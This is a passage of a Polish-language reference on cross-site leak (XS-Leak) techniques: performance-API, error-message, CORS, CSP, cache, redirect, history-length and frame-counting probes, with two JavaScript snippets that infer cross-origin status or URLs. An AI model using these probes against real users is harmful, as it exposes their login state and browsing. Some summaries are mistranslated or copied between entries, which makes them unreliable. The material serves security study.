Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

### Wyciek pustej strony

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Puste odpowiedzi nie tworzą wpisów czasowych zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ **puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach**.

### **Wyciek XSS-Auditor**

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Używając XSS Audytora w Asercjach Bezpieczeństwa, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrowania audytora.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tym tle badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcji znanej jako XS-Leaks, pierwotnie zgłoszonej przez Teradę i rozwiniętej przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.

### Wyciek X-Frame

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Podsumowanie:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu czasowego zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

Jeśli strona **nie jest dozwolona** do **renderowania** w **iframe**, nie tworzy **wpisu wydajności**. W rezultacie atakujący może wykryć nagłówek odpowiedzi **`X-Frame-Options`**.\
To samo dotyczy użycia tagu **embed**.

### Wykrywanie pobierania

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Pobrania nie tworzą wpisów czasowych zasobów w API wydajności.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

Podobnie jak w opisanym XS-Leak, **zasób, który jest pobierany** z powodu nagłówka ContentDisposition, również **nie tworzy wpisu wydajności**. Ta technika działa we wszystkich głównych przeglądarkach.

### Wyciek czasu rozpoczęcia przekierowania

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Przekierowanie
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Wpis czasowy zasobów ujawnia czas rozpoczęcia przekierowania.
- **Przykład kodu**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań z innego źródła. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innego źródła. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowywany** przez stronę docelową, zapytując API **wydajności** i sprawdzając dane czasowe **redirectStart**.

### Wyciek czasu trwania przekierowania

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Przekierowanie
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go zatem **rozróżnić** od żądań, które nie kończą się przekierowaniem.

### Wyciek CORP

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Zasób chroniony przez CORP nie tworzy wpisów czasowych zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

W niektórych przypadkach, **wpis nextHopProtocol** może być użyty jako technika wycieku. W GC, gdy nagłówek **CORP** jest ustawiony, nextHopProtocol będzie **pusty**. Należy zauważyć, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.

### Serwis Worker

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Podsumowanie:** Wykryj, czy serwis worker jest zarejestrowany dla konkretnego źródła.
- **Przykład kodu**:

Serwis worker to kontekst skryptu wywoływanego przez zdarzenia, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i **buforować zasoby**, aby stworzyć offline'ową aplikację internetową.\
Jeśli **zasób buforowany** przez **serwis worker** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej serwis worker**.\
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej serwis worker**, można użyć **API wydajności**.\
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).

### Pamięć podręczna

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Podsumowanie:** Możliwe jest sprawdzenie, czy zasób został zapisany w pamięci podręcznej.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)

Korzystając z [API wydajności](xs-search.md#performance-api), możliwe jest sprawdzenie, czy zasób jest buforowany.

### Czas trwania sieci

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
- **Podsumowanie:** Możliwe jest uzyskanie czasu trwania sieci żądania z API `performance`.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## Technika komunikatów o błędach

### Błąd mediów

- **Metody włączenia**: Elementy HTML (Wideo, Audio)
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Podsumowanie:** W Firefoxie możliwe jest dokładne wycieknięcie kodu statusu żądania z innego źródła.
- **Przykład kodu**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
```
Interfejs `MediaError` ma właściwość message, która unikalnie identyfikuje zasoby, które ładują się pomyślnie za pomocą odrębnego ciągu. Atakujący może wykorzystać tę funkcję, obserwując zawartość wiadomości, a tym samym dedukując status odpowiedzi zasobu z innego źródła.

### Błąd CORS

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Ta technika umożliwia atakującemu **wyodrębnienie celu przekierowania z witryny z innego źródła** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do docelowej witryny, która wydaje przekierowanie w oparciu o stan użytkownika, a przeglądarka następnie odrzuca żądanie, **pełny adres URL celu przekierowania** jest ujawniany w komunikacie o błędzie. Ta luka nie tylko ujawnia fakt przekierowania, ale także ujawnia punkt końcowy przekierowania oraz wszelkie **wrażliwe parametry zapytania**, które mogą zawierać.

### Błąd SRI

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
- **Przykład kodu**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który używa atrybutu integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmienione. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po nieudanym żądaniu fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, torując drogę dla zaawansowanych ataków XS-Leak.

### Naruszenie/Wykrywanie CSP

- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
- **Podsumowanie:** Zezwalając tylko na witrynę ofiary w CSP, jeśli próbuje przekierować na inna domenę, CSP wywoła wykrywalny błąd.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana na inną domenę. Ta luka może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na docelową domenę na stronie atakującego**. Gdy żądanie jest wysyłane do docelowej domeny, **przekierowuje** na domenę z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawniać lokalizację celu przekierowania**.\
Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowane, ale nadal można wykryć, że przekierowanie z innego źródła zostało wywołane.

### Cache

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
- **Podsumowanie:** Wyczyść plik z pamięci podręcznej. Otwiera stronę docelową, sprawdza, czy plik jest obecny w pamięci podręcznej.
- **Przykład kodu:**

Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Niezależnie od ich pochodzenia, możliwe jest wydedukowanie, czy strona docelowa **zażądała konkretnego pliku**.

Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (tak aby nie był już pamiętany w pamięci podręcznej, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadunek zasobu **nie wywołał żadnego błędu**, to dlatego, że był **pamiętany w pamięci podręcznej**.

### Dyrektywa CSP

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
- **Podsumowanie:** Dyrektywy nagłówka CSP mogą być badane za pomocą atrybutu iframe CSP, ujawniając szczegóły polityki.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie Polityki Bezpieczeństwa Treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo proponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła poprzez identyfikację strony błędu. Chociaż ta luka została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.

### **CORP**

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Podsumowanie:** Zasoby zabezpieczone Polityką Zasobów Z Innego Źródła (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

Nagłówek CORP to stosunkowo nowa funkcja zabezpieczeń platformy internetowej, która, gdy jest ustawiona, **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.

### CORB

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Nagłówki
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **Podsumowanie**: CORB może pozwolić atakującym na wykrycie, kiedy **nagłówek `nosniff` jest obecny** w żądaniu.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Sprawdź link, aby uzyskać więcej informacji na temat ataku.

### Błąd CORS w błędnej konfiguracji odbicia pochodzenia <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówki
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **Podsumowanie**: Jeśli nagłówek Origin jest odbity w nagłówku `Access-Control-Allow-Origin`, możliwe jest sprawdzenie, czy zasób jest już w pamięci podręcznej.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

W przypadku, gdy **nagłówek Origin** jest **odbity** w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować **pobierać** **zasób** w trybie **CORS**. Jeśli **błąd** **nie jest** wywoływany, oznacza to, że został **prawidłowo pobrany z sieci**, jeśli błąd jest **wywoływany**, to dlatego, że był **dostępny z pamięci podręcznej** (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie domenę atakującego)**.**\
Zauważ, że jeśli pochodzenie nie jest odbite, ale użyto znaku wieloznacznego (`Access-Control-Allow-Origin: *`), to nie zadziała.

## Technika atrybutów czytelnych

### Przekierowanie Fetch

- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
- **Podsumowanie:** GC i SA pozwalają sprawdzić typ odpowiedzi (opaque-redirect) po zakończeniu przekierowania.
- **Przykład kodu**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Składając żądanie za pomocą Fetch API z `redirect: "manual"` i innymi parametrami, możliwe jest odczytanie atrybutu `response.type`, a jeśli jest równy `opaqueredirect`, to odpowiedź była przekierowaniem.

### COOP

- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Podsumowanie:** Strony chronione Polityką Otwieracza Z Innego Źródła (COOP) zapobiegają dostępowi z interakcji z innego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Atakujący jest w stanie wydedukować obecność nagłówka Polityki Otwieracza Z Innego Źródła (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym stronom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można dostrzec, próbując uzyskać dostęp do **odniesienia `contentWindow`**. W scenariuszach, w których COOP jest stosowane warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywne, i **zdefiniowana** w jego nieobecności.

### Maksymalna długość URL - po stronie serwera

- **Metody włączenia**: Fetch API, Elementy HTML
- **Wykrywalna różnica**: Kod statusu / Zawartość
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, co powoduje, że serwer odpowiada błędem i generowany jest alert.
- **Przykład kodu**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Jeśli przekierowanie po stronie serwera używa **danych wejściowych użytkownika w przekierowaniu** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to wywołanie **błędu wykrywalnego za pomocą zdarzeń błędów**.

Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)), więc z **zwiększoną długością odpowiedzi** **prawidłowej odpowiedzi** wywołany zostanie **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązaniu tego opisu: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` lub bycie w tym samym kontekście jest zazwyczaj wymagane do tego typu ataku.

### Maksymalna długość URL - po stronie klienta

- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Kod statusu / Zawartość
- **Więcej informacji**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, aby można było zauważyć różnicę.
- **Przykład kodu**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

Zgodnie z [dokumentacją Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), maksymalna długość URL w Chrome wynosi 2MB.

> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości adresów URL (chociaż 2^31 to powszechne ograniczenie). _Chrome_ ogranicza adresy URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.

Dlatego jeśli **adres URL przekierowania jest większy w jednym z przypadków**, możliwe jest, aby przekierować z **adresu URL większego niż 2MB**, aby osiągnąć **limit długości**. Gdy to się stanie, Chrome wyświetla stronę **`about:blank#blocked`**.

**Widoczna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli **limit** został \*\*\*\* osiągnięty, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**

Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** mogą być dodane za pomocą **hasha** w początkowym adresie URL, aby były **używane w przekierowaniu**.

{{#ref}}
xs-search/url-max-length-client-side.md
{{#endref}}

### Maksymalne przekierowania

- **Metody włączenia**: Fetch API, Ramki
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Podsumowanie:** Wykorzystaj limit przekierowań przeglądarki, aby ustalić wystąpienie przekierowań URL.
- **Przykład kodu**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

Jeśli **maksymalna** liczba **przekierowań** do śledzenia w przeglądarce wynosi **20**, atakujący może spróbować załadować swoją stronę z **19 przekierowaniami** i ostatecznie **wysłać ofiarę** na testowaną stronę. Jeśli **błąd** jest wywoływany, oznacza to, że strona próbowała **przekierować ofiarę**.

### Długość historii

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Przekierowania
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i może być dostępny za pomocą właściwości length.
- **Przykład kodu**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**API historii** pozwala kodowi JavaScript na manipulację historią przeglądarki, która **zapisuje odwiedzane przez użytkownika strony**. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
**Sprawdzając `history.length`**, zmuszając użytkownika do **nawigacji** na stronę, **zmieniając** ją **z powrotem** na tę samą domenę i **sprawdzając** nową wartość **`history.length`**.

### Długość historii z tym samym URL

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Jeśli URL jest taki sam jak zgadywany
- **Podsumowanie:** Możliwe jest zgadywanie, czy lokalizacja ramki/pop-upu znajduje się w określonym URL, nadużywając długości historii.
- **Przykład kodu**: Poniżej

Atakujący może użyć kodu JavaScript do **manipulacji lokalizacją ramki/pop-upu na zgadywaną** i **natychmiast** **zmienić ją na `about:blank`**. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na **wzrost, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrosła, oznacza to, że **próbował załadować zgadywany URL**, ale ponieważ **natychmiast po tym** załadowano **`about:blank`**, długość historii nigdy nie wzrosła podczas ładowania zgadywanego URL.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
```
### Liczenie ramek

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Podsumowanie:** Oceń ilość elementów iframe, sprawdzając właściwość `window.length`.
- **Przykład kodu**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Liczenie **liczby ramek w sieci** otwartych za pomocą `iframe` lub `window.open` może pomóc w identyfikacji **statusu użytkownika na tej stronie**.\
Ponadto, jeśli strona ma zawsze tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji **wzoru**, który może ujawniać informacje.

Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używany jest `embed`. Istnieją [Parametry URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.

### Elementy HTML

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Podsumowanie:** Odczytaj ujawnioną wartość, aby rozróżnić 2 możliwe stany
